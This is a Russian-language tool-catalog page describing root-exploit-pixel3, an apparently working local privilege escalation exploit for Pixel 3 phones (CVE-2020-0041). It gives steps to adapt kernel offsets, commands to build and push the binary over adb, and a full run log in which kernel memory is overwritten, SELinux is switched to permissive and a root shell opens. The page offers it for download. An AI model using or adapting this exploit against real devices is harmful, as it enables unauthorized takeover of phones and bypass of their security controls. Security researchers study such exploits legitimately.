Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
root-exploit-pixel3 — Эксплойт для локального повышения привилегий на Pixel 3 (CVE-2020-0041), который отключает SELinux и запускает root-оболочку через повреждение памяти ядра и адаптацию смещений. | Kitploit
Инструменты/GitHubGitHub/jcalabres/root-exploit-pixel3
Безопасность AndroidПовышение привилегийАнализ уязвимостейЭксплуатацияОбратная инженерияТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHubjcalabres/root-exploit-pixel3

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

root-exploit-pixel3

Эксплойт для локального повышения привилегий на Pixel 3 (CVE-2020-0041), который отключает SELinux и запускает root-оболочку через повреждение памяти ядра и адаптацию смещений.

Репозиторий
13523 лет назадЕщё не проверено

Root Exploit for Pixel 3 Family

Эта папка содержит эксплойт локального повышения привилегий, модификацию PoC от bluefrostsecurity для CVE-2020-0041. Эксплойт отключает SELinux и запускает root-оболочку.

  • Эксплойт поставляется с жестко заданными смещениями для устройства Pixel 3, работающего на прошивке от февраля 2020 года (QQ1A.200205.002). Эксплойт можно адаптировать для любого устройства Pixel 3, просто выполнив следующие шаги.

  • Были внесены некоторые изменения, чтобы избежать ограничений пользователя root (исходный эксплойт непригоден для использования).

Адаптация эксплойта

  1. Для адаптации эксплойта для любого устройства Pixel 3 необходимо загрузить конкретную уязвимую прошивку (QQ1A.200205.002) с официального сайта developer android images.

  2. Затем преобразуйте boot.img в zImage. Для этого используйте abootimg.

root@kitploit:~
./abootimg -x [path_to_boot_img]

Полученный zImage — это образ, содержащий сжатое ядро Android.

  1. Чтобы получить несжатый образ ядра, содержащий правильные символы и смещения, используйте инструмент vmlinux-to-elf.
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf]
  1. Используйте дизассемблер по вашему выбору, чтобы найти метки, связанные со смещениями эксплойта из exploit.c:
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP

  1. Скорректируйте exploit.c с правильными смещениями.

  2. Profit :)

Тестирование эксплойта

Эксплойт можно собрать, просто запустив "make" с Android NDK в пути (также можно взять бинарник poc из libs/arm64-v8a). Его также можно отправить на подключенный через adb телефон, выполнив "make all push" (предупреждения удалены для краткости):

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

Теперь просто запустите /data/local/tmp/poc из оболочки adb, чтобы увидеть выполнение эксплойта:

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ #
Скачать инструмент